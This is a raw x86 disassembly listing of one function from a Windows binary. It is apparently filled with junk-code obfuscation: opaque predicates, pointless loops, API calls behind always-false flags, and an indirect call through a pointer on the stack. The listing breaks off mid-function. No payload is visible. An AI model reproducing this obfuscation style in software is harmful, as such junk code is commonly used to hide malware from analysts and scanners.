mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 0x1c
jne 0x474d66
mov dword [ebp - 0x5e4], 0x999fb023
mov dword [ebp - 0x5e4], 0xfffffffb
jmp 0x474d38
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0xb
jl 0x474d64
mov byte [ebp - 0x2c5], 0
movzx eax, byte [ebp - 0x2c5]
test eax, eax
je 0x474d62
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x474d2b
jmp 0x474cff
jmp 0x474cb1
mov dword [ebp - 0xbec], 1
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0xbec]
cmp eax, dword [ebp - 0xafc]
jle 0x474da5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3164], 0
je 0x474da5
mov dword [ebp - 0x1bd0], 1
jmp 0x474dac
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0x1bd0]
mov dword [ebp - 0xb04], eax
cmp dword [ebp - 0xb04], 0x953e
jl 0x474dd0
mov dword [ebp - 0xbf4], 1
jmp 0x474dd7
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0x2fc]
imul eax, dword [ebp - 0xbf4]
test eax, eax
je 0x475249
mov dword [ebp - 0xae4], 0xade2167
mov dword [ebp - 0x5ec], 0x4ad38dc5
mov dword [ebp - 0x2a44], 0x184dcc80
mov dword [ebp - 0x1bd8], 0xc2dd78f4
mov dword [ebp - 0x2a4c], 0xffffffff
mov dword [ebp - 0x2a54], 8
mov dword [ebp - 0x460], 0
mov dword [ebp - 0xb4], 0x9c77509c
mov dword [ebp - 0x64], 0
jmp 0x474e4c
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x474e62
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x3110], 0x96960f57
jmp 0x474e45
mov dword [ebp - 0x64], 0
jmp 0x474e72
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x474e88
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xb10], 3
jmp 0x474e6b
mov dword [ebp - 0x64], 0
jmp 0x474e98
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x474eae
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x31f4], 0xfffffffb
jmp 0x474e91
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3110]
mov dword [ebp - 0xae4], eax
mov dword [ebp - 0x1bd8], 1
mov eax, dword [ebp - 0x1bd8]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0xbfc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbfc]
mov dword [ebp + eax - 0xb10], ecx
mov eax, dword [ebp - 0xb4]
imul ecx, dword [ebp - 0x5ec], 0x2053
imul ecx, ecx, 0x867a
add ecx, 0x48bb
imul eax, ecx
imul eax, eax, 0xf4df
cmp dword [ebp - 0xbfc], eax
jne 0x474f2f
mov dword [ebp - 0x1be0], 1
jmp 0x474f36
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 0xae4]
imul eax, dword [ebp - 0x1be0]
cmp eax, 3
jae 0x474f56
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x31f4], 0
push 0xfffffffffffffff7
pop eax
sub eax, 0x14a9
imul eax, dword [ebp - 0x5ec]
cmp eax, dword [ebp - 0x5ec]
jg 0x4751aa
mov dword [ebp - 0xaec], 0x7067
mov dword [ebp - 0x2308], 0x2e882408
mov dword [ebp - 0x460], 3
jmp 0x474f9e
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x1c
jg 0x47519e
mov dword [ebp - 0x7b4], 0
jmp 0x474fc4
mov eax, dword [ebp - 0x7b4]
inc eax
mov dword [ebp - 0x7b4], eax
cmp dword [ebp - 0x7b4], 3
jge 0x474fe0
mov eax, dword [ebp - 0x7b4]
mov dword [ebp + eax*4 - 0x2684], 5
jmp 0x474fb7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2684], 0
je 0x475188
mov dword [ebp - 0xb4], 0
jmp 0x47500d
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jg 0x475186
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0xb10]
mov dword [ebp - 0x2a5c], eax
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ebp + ecx*4 - 0xb10]
cmp dword [ebp + eax*4 - 0x3108], ecx
jg 0x475055
mov dword [ebp - 0xc04], 1
jmp 0x47505c
and dword [ebp - 0xc04], 0
mov eax, dword [ebp - 0xc04]
dec eax
cmp eax, dword [ebp - 0xaec]
jl 0x475077
mov dword [ebp - 0x2300], 1
jmp 0x47507e
and dword [ebp - 0x2300], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x5ec]
cmp dword [ebp + eax*4 - 0xb10], ecx
jg 0x47509f
mov dword [ebp - 0x1be8], 1
jmp 0x4750a6
and dword [ebp - 0x1be8], 0
mov eax, dword [ebp - 0x1be8]
sub eax, dword [ebp - 0xaec]
mov ecx, dword [ebp - 0xb4]
sub eax, dword [ebp + ecx*4 - 0xb10]
jne 0x4750da
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2684], 0
jne 0x4750da
and dword [ebp - 0xc0c], 0
jmp 0x4750e4
mov dword [ebp - 0xc0c], 1
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0xb10]
inc eax
cmp eax, dword [ebp - 0xc0c]
jle 0x475106
mov dword [ebp - 0x1bf0], 1
jmp 0x47510d
and dword [ebp - 0x1bf0], 0
cmp dword [ebp - 0x1bf0], 0x9ba5
je 0x475125
mov dword [ebp - 0xc14], 1
jmp 0x47512c
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xae4]
cmp dword [ebp - 0xc14], eax
jne 0x475146
mov dword [ebp - 0x1bf8], 1
jmp 0x47514d
and dword [ebp - 0x1bf8], 0
mov eax, dword [ebp - 0xaec]
cmp dword [ebp - 0x1bf8], eax
jg 0x475167
mov dword [ebp - 0xc1c], 1
jmp 0x47516e
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xc1c]
mov dword [ebp + eax*4 - 0xb10], ecx
jmp 0x475000
jmp 0x475199
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2684], 0
je 0x475199
jmp 0x47519e
jmp 0x474f91
mov dword [ebp - 0x2308], 0xa
jmp 0x4751c4
mov byte [ebp - 0x2c7], 0
movzx eax, byte [ebp - 0x2c7]
test eax, eax
je 0x4751c4
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 0x1c00], 0xae215169
mov dword [ebp - 0x418], 0x4ffb
mov dword [ebp - 0x418], 0xc64a6847
mov dword [ebp - 0x418], 0
jmp 0x4751fb
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 4
jl 0x475237
cmp dword [ebp - 0x418], 0
je 0x47520f
jmp 0x475237
mov byte [ebp - 0x2c9], 0
movzx eax, byte [ebp - 0x2c9]
test eax, eax
je 0x475235
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
jmp 0x4751ee
mov eax, dword [ebp - 0x1c00]
inc eax
mov dword [ebp - 0x1c00], eax
jmp 0x4755c5
mov dword [ebp - 0xc24], 0x6a53
mov dword [ebp - 0x2a64], 3
mov dword [ebp - 0x2a6c], 0x37b1891f
mov dword [ebp - 0x2a74], 0xfffffffe
mov dword [ebp - 0x2a7c], 0xffffffff
mov dword [ebp - 0x2a84], 0x283066c9
mov dword [ebp - 0x2a8c], 1
mov dword [ebp - 0x2a94], 1
mov dword [ebp - 0x2a9c], 0x613717be
mov dword [ebp - 0x2aa4], 0x3809d010
mov dword [ebp - 0x1c08], 0x2aa6
mov dword [ebp - 0x7bc], 0
jmp 0x4752d0
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 4
jge 0x4752ec
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x3404], 1
jmp 0x4752c3
mov eax, dword [ebp - 0xc24]
dec eax
mov dword [ebp - 0xc24], eax
mov eax, dword [ebp - 0x1c08]
inc eax
mov dword [ebp - 0x1c08], eax
mov dword [ebp - 0x588], 0xffffffff
mov dword [ebp - 0x4c4], 1
mov dword [ebp - 0x5f4], 1
mov dword [ebp - 0xc44], 0xfffffffa
mov dword [ebp - 0x4c4], 0x3342eb9
cmp dword [ebp - 0x4c4], 0
jne 0x47535a
mov dword [ebp - 0x2310], 0xffffffff
mov dword [ebp - 0x2310], 4
jmp 0x47554c
mov dword [ebp - 0x243c], 0
mov dword [ebp - 0x2438], 0
mov dword [ebp - 0x2434], 0
mov dword [ebp - 0x2430], 0
mov dword [ebp - 0x1c10], 0x9a01c77d
mov dword [ebp - 0xaf4], 0xd02268f6
mov dword [ebp - 0x2320], 0xd065835a
cmp dword [ebp - 0x5f4], 0
jne 0x4753c2
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x243c], 0
jne 0x4753c2
and dword [ebp - 0xc2c], 0
jmp 0x4753cc
mov dword [ebp - 0xc2c], 1
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xc2c]
sub ecx, dword [ebp + eax - 0x243c]
mov dword [ebp - 0x1c10], ecx
cmp dword [ebp - 0x1c10], 0xfff9
ja 0x4753fd
mov dword [ebp - 0xc34], 1
jmp 0x475404
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xaf4]
cmp dword [ebp - 0xc34], eax
jg 0x47541e
mov dword [ebp - 0x2318], 1
jmp 0x475425
and dword [ebp - 0x2318], 0
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x2aac], eax
mov eax, dword [ebp - 0xaf4]
cmp dword [ebp - 0x5f4], eax
jl 0x47544b
mov dword [ebp - 0x1c18], 1
jmp 0x475452
and dword [ebp - 0x1c18], 0
mov eax, dword [ebp - 0x4c4]
cmp dword [ebp - 0x1c18], eax
jg 0x47546c
mov dword [ebp - 0xc3c], 1
jmp 0x475473
and dword [ebp - 0xc3c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xc3c]
sub ecx, dword [ebp + eax - 0x243c]
jne 0x47549a
cmp dword [ebp - 0x5f4], 0
jne 0x47549a
and dword [ebp - 0x1c20], 0
jmp 0x4754a4
mov dword [ebp - 0x1c20], 1
mov eax, dword [ebp - 0x1c20]
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0xc44], eax
jge 0x4754ca
mov dword [ebp - 0x1c28], 1
jmp 0x4754d1
and dword [ebp - 0x1c28], 0
cmp dword [ebp - 0x1c28], 0
jl 0x4754e6
mov dword [ebp - 0xc4c], 1
jmp 0x4754ed
and dword [ebp - 0xc4c], 0
cmp dword [ebp - 0xc4c], 0xffffffff
jg 0x475502
mov dword [ebp - 0x1c30], 1
jmp 0x475509
and dword [ebp - 0x1c30], 0
mov eax, dword [ebp - 0x4c4]
push 4
pop ecx
imul ecx, ecx, 3
sub eax, dword [ebp + ecx - 0x243c]
cmp eax, dword [ebp - 0x1c30]
je 0x475530
mov dword [ebp - 0xc54], 1
jmp 0x475537
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xc54]
neg eax
imul eax, dword [ebp - 0xaf4]
mov dword [ebp - 0x2320], eax
cmp dword [ebp - 0x588], 0
jne 0x4755b1
cmp dword [ebp - 0x2fc], 0xdda8
jge 0x475576
cmp dword [ebp - 0x588], 0
je 0x475576
mov dword [ebp - 0x1c38], 1
jmp 0x47557d
and dword [ebp - 0x1c38], 0
mov eax, dword [ebp - 0xafc]
cmp dword [ebp - 0x1c38], eax
jle 0x475597
mov dword [ebp - 0xc5c], 1
jmp 0x47559e
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0x588]
imul eax, dword [ebp - 0xc5c]
cmp eax, dword [ebp - 0xafc]
mov eax, dword [ebp - 0x588]
sub eax, dword [ebp - 0x588]
neg eax
mov dword [ebp - 0xb04], eax
jmp 0x474758
mov dword [ebp - 0x1c50], 1
mov dword [ebp - 0xd4], 0x14173bf3
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x4c0], 8
mov dword [ebp - 0x488], 1
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2ab4], eax
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0xd4], eax
jne 0x47562f
mov eax, dword [ebp - 0x148]
add eax, 0xbffb
je 0x47562f
mov dword [ebp - 0x1c40], 1
jmp 0x475636
and dword [ebp - 0x1c40], 0
mov eax, dword [ebp - 0x1c40]
dec eax
cmp eax, dword [ebp - 0xd4]
jg 0x475651
mov dword [ebp - 0xc64], 1
jmp 0x475658
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0x148]
add eax, dword [ebp - 0xc64]
cmp eax, dword [ebp - 0xd4]
jge 0x475678
mov dword [ebp - 0x1c48], 1
jmp 0x47567f
and dword [ebp - 0x1c48], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x1c48], eax
jl 0x475699
mov dword [ebp - 0xc6c], 1
jmp 0x4756a0
and dword [ebp - 0xc6c], 0
mov dword [ebp - 0x1c50], 0xffffffff
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x1c50], eax
jge 0x4756d0
mov dword [ebp - 0xc74], 1
jmp 0x4756d7
and dword [ebp - 0xc74], 0
mov eax, dword [ebp - 0xc74]
sub eax, dword [ebp - 0x148]
je 0x47580c
cmp dword [ebp - 0xd4], 0
je 0x47580c
mov dword [ebp - 0x7c4], 0
jmp 0x47570f
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 1
jge 0x47572b
mov eax, dword [ebp - 0x7c4]
mov dword [ebp + eax*4 - 0x1c58], 0xb74a71a6
jmp 0x475702
mov byte [ebp - 0x2cb], 0
movzx eax, byte [ebp - 0x2cb]
test eax, eax
je 0x475745
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0xd4], 0x18
jmp 0x47575e
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xffffffe9
jne 0x475807
mov dword [ebp - 0x148], 0xffffffea
jmp 0x475784
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x2a
jle 0x4757f7
mov dword [ebp - 0x5fc], 0
jmp 0x4757a6
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 3
jge 0x4757c2
mov eax, dword [ebp - 0x5fc]
mov dword [ebp + eax*4 - 0x3394], 0xfffffff6
jmp 0x475799
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c58]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1c58], eax
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x4757f5
call dword [sym.imp.USER32.dll_ReleaseCapture]
jmp 0x475777
cmp dword [ebp - 0xd4], 0
je 0x475802
jmp 0x475807
jmp 0x475751
jmp 0x475911
mov dword [ebp - 0x4c0], 0x1c
jmp 0x475825
mov eax, dword [ebp - 0x4c0]
dec eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0xffffffee
jle 0x4758c5
mov dword [ebp - 0x2328], 0xffffffff
mov dword [ebp - 0x2fc4], 0x7e01
mov dword [ebp - 0x2fc0], 0x7e01
mov dword [ebp - 0x2fbc], 0x7e01
mov dword [ebp - 0x2fb8], 0x7e01
mov dword [ebp - 0x2328], 0
mov dword [ebp - 0x488], 3
jmp 0x475887
mov eax, dword [ebp - 0x488]
dec eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
jl 0x4758c0
mov byte [ebp - 0x2cf], 0
movzx eax, byte [ebp - 0x2cf]
test eax, eax
je 0x4758be
push 0x212c
push 0x886
push 0x1d56
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
jmp 0x47587a
jmp 0x475818
cmp dword [ebp - 0x488], 0xcf7a
jle 0x4758dd
mov dword [ebp - 0xc7c], 1
jmp 0x4758e4
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0x4c0]
cmp eax, dword [ebp - 0xc7c]
je 0x4758fe
mov dword [ebp - 0x1c60], 1
jmp 0x475905
and dword [ebp - 0x1c60], 0
mov eax, dword [ebp - 0x1c60]
mov dword [ebp - 0x488], eax
push 1
lea eax, [ebp - 0x33ac]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.004731e2
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x317c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x317c]
lea edi, [ebp - 0x257c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x250], 0x53d8da8e
mov dword [ebp - 0x534], 8
mov dword [ebp - 0x304], 0xbd652568
mov dword [ebp - 0x7cc], 0
jmp 0x475977
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 1
jge 0x475993
mov eax, dword [ebp - 0x7cc]
mov dword [ebp + eax*4 - 0xbc], 0x5d6c05ba
jmp 0x47596a
mov dword [ebp - 0x250], 0
jmp 0x4759ac
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x475a69
mov dword [ebp - 0x604], 0xf5a9c4c8
mov dword [ebp - 0x604], 0
jmp 0x4759dc
mov eax, dword [ebp - 0x604]
dec eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 0
jl 0x475a64
mov dword [ebp - 0x2450], 0x2121f90e
mov dword [ebp - 0x244c], 0x2121f90e
mov dword [ebp - 0x2448], 0x2121f90e
mov dword [ebp - 0x2444], 0x2121f90e
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2450], 0
jmp 0x475a3b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2450]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2450], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2450], 0
jl 0x475a5f
mov eax, dword [ebp - 0x250]
cmp dword [ebp + eax*4 - 0xbc], 0
je 0x475a5d
jmp 0x475a5f
jmp 0x475a20
jmp 0x4759cf
jmp 0x47599f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
je 0x475c8b
mov dword [ebp - 0xab4], 0xfffffffa
mov dword [ebp - 0xad0], 9
mov dword [ebp - 0x60c], 4
mov dword [ebp - 0x95c], 0xfffffffb
mov dword [ebp - 0xc94], 0x5004
mov dword [ebp - 0x7d4], 0
jmp 0x475ac8
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 2
jge 0x475ae4
mov eax, dword [ebp - 0x7d4]
mov dword [ebp + eax*4 - 0x25c4], 0x66ef3b06
jmp 0x475abb
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x25c4]
cmp dword [ebp + eax - 0xbc], ecx
jl 0x475b0c
mov dword [ebp - 0xb18], 1
jmp 0x475b13
and dword [ebp - 0xb18], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb18]
mov dword [ebp + eax - 0x25c4], ecx
cmp dword [ebp - 0xb18], 0xffffffff
je 0x475b3b
mov dword [ebp - 0x2330], 1
jmp 0x475b42
and dword [ebp - 0x2330], 0
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x2abc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
mov dword [ebp - 0x2c34], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x60c]
cmp dword [ebp + eax - 0xbc], ecx
jl 0x475b82
mov dword [ebp - 0xc84], 1
jmp 0x475b89
and dword [ebp - 0xc84], 0
cmp dword [ebp - 0xc84], 0x72d50fa8
jge 0x475baa
mov eax, 0x494dfd99
test eax, eax
je 0x475baa
mov dword [ebp - 0x1c68], 1
jmp 0x475bb1
and dword [ebp - 0x1c68], 0
mov eax, dword [ebp - 0x1c68]
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0
je 0x475bd4
xor eax, eax
inc eax
je 0x475bd4
cmp dword [ebp - 0x304], 0
jne 0x475be6
cmp dword [ebp - 0x60c], 0
jne 0x475be6
and dword [ebp - 0xc8c], 0
jmp 0x475bf0
mov dword [ebp - 0xc8c], 1
mov eax, dword [ebp - 0xad0]
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0xc8c]
sub eax, 0x601c
sub eax, dword [ebp - 0x95c]
cmp dword [ebp - 0xad0], eax
jl 0x475c21
mov dword [ebp - 0x1c70], 1
jmp 0x475c28
and dword [ebp - 0x1c70], 0
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0x1c70], eax
jl 0x475c42
mov dword [ebp - 0x2338], 1
jmp 0x475c49
and dword [ebp - 0x2338], 0
mov eax, dword [ebp - 0xab4]
inc eax
mov dword [ebp - 0xab4], eax
mov eax, dword [ebp - 0xab4]
mov dword [ebp - 0x2c3c], eax
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0x2c44], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0xc94]
mov dword [ebp - 0x95c], eax
jmp 0x475f42
mov dword [ebp - 0x258], 0xcb06a9be
mov dword [ebp - 0x280], 0x42ea6ae2
mov dword [ebp - 0x4cc], 0xeedf6679
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x304], 0x64db
jge 0x475cd9
mov dword [ebp - 0x1c78], 1
jmp 0x475ce0
and dword [ebp - 0x1c78], 0
mov eax, dword [ebp - 0x258]
cmp eax, dword [ebp - 0x1c78]
jl 0x475cfa
mov dword [ebp - 0xc9c], 1
jmp 0x475d01
and dword [ebp - 0xc9c], 0
mov eax, dword [ebp - 0x258]
imul eax, dword [ebp - 0xc9c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xbc]
jl 0x475d29
mov dword [ebp - 0x1c80], 1
jmp 0x475d30
and dword [ebp - 0x1c80], 0
mov eax, dword [ebp - 0x1c80]
sub eax, 0x377f
cmp eax, 0x268f
jge 0x475d4e
mov dword [ebp - 0xca4], 1
jmp 0x475d55
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0xca4]
mov dword [ebp - 0x304], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
mov dword [ebp - 0x2c4c], eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x2c54], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
sub eax, 0xfa52
neg eax
cmp eax, dword [ebp - 0x4cc]
jge 0x475da8
mov dword [ebp - 0x1c88], 1
jmp 0x475daf
and dword [ebp - 0x1c88], 0
mov eax, dword [ebp - 0x1c88]
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x2c5c], eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x2c64], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x2c6c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0xf28f0e43
jb 0x475dfe
mov dword [ebp - 0xcac], 1
jmp 0x475e05
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0x250]
cmp dword [ebp - 0xcac], eax
je 0x475e1f
mov dword [ebp - 0x1c90], 1
jmp 0x475e26
and dword [ebp - 0x1c90], 0
mov eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x1c90]
jl 0x475e4d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
jne 0x475e4d
and dword [ebp - 0xcb4], 0
jmp 0x475e57
mov dword [ebp - 0xcb4], 1
cmp dword [ebp - 0xcb4], 0x5f07
je 0x475e6f
mov dword [ebp - 0x1c98], 1
jmp 0x475e76
and dword [ebp - 0x1c98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp dword [ebp - 0x1c98], eax
jne 0x475e97
mov dword [ebp - 0xcbc], 1
jmp 0x475e9e
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x304]
imul eax, dword [ebp - 0xcbc]
test eax, eax
je 0x475ed3
mov dword [ebp - 0x534], 0xffea361f
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x250], eax
jmp 0x475f42
mov dword [ebp - 0x2340], 0xffff
mov dword [ebp - 0x280], 0x13
jmp 0x475ef6
mov eax, dword [ebp - 0x280]
dec eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xd
jle 0x475f0d
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x2340], eax
jmp 0x475ee9
mov dword [ebp - 0x258], 0
jmp 0x475f26
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x475f42
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xbc], 0xfa5b821b
jmp 0x475f19
cmp dword [ebp - 0x257c], 0
je 0x475f5f
push 0
push dword [ebp - 0x2574]
push dword [ebp - 0x2578]
call dword [ebp - 0x257c]
mov dword [ebp - 0x420], 0x8a61928c
mov dword [ebp - 0x2c74], 2
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0xcdc], 0
mov dword [ebp - 0x200], 0
jmp 0x475fa0
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 4
jge 0x475fbc
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x30f0], 0x845d811f
jmp 0x475f93
mov dword [ebp - 0x200], 0
jmp 0x475fd5
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jge 0x475ff1
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x1d94], 0
jmp 0x475fc8
mov dword [ebp - 0x420], 0
jmp 0x47600a
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 9
jle 0x47606f
mov dword [ebp - 0x2c7c], 0xeded
mov dword [ebp - 0x7dc], 0
jmp 0x476036
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 4
jge 0x476052
mov eax, dword [ebp - 0x7dc]
mov dword [ebp + eax*4 - 0x3424], 0
jmp 0x476029
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d94]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1d94], eax
jmp 0x475ffd
mov dword [ebp - 0x56c], 0
jmp 0x476088
mov eax, dword [ebp - 0x56c]
dec eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 0xffffffed
jne 0x476387
mov dword [ebp - 0x298], 0xe1fc6578
mov dword [ebp - 0xa44], 0x523e
mov dword [ebp - 0xcd4], 0xfffc
mov dword [ebp - 0x614], 0
jmp 0x4760cc
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 1
jge 0x4760e8
mov eax, dword [ebp - 0x614]
mov dword [ebp + eax*4 - 0x964], 0x3fd90538
jmp 0x4760bf
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x2c84], eax
cmp dword [ebp - 0x298], 0
je 0x476315
cmp dword [ebp - 0x298], 0
jne 0x47611c
cmp dword [ebp - 0x56c], 0
jne 0x47611c
and dword [ebp - 0x1ca0], 0
jmp 0x476126
mov dword [ebp - 0x1ca0], 1
cmp dword [ebp - 0x1ca0], 1
jne 0x47613b
mov dword [ebp - 0xcc4], 1
jmp 0x476142
and dword [ebp - 0xcc4], 0
mov eax, dword [ebp - 0x298]
cmp dword [ebp - 0xcc4], eax
jle 0x476162
cmp dword [ebp - 0x298], 0
jne 0x476162
and dword [ebp - 0x1ca8], 0
jmp 0x47616c
mov dword [ebp - 0x1ca8], 1
push 4
pop eax
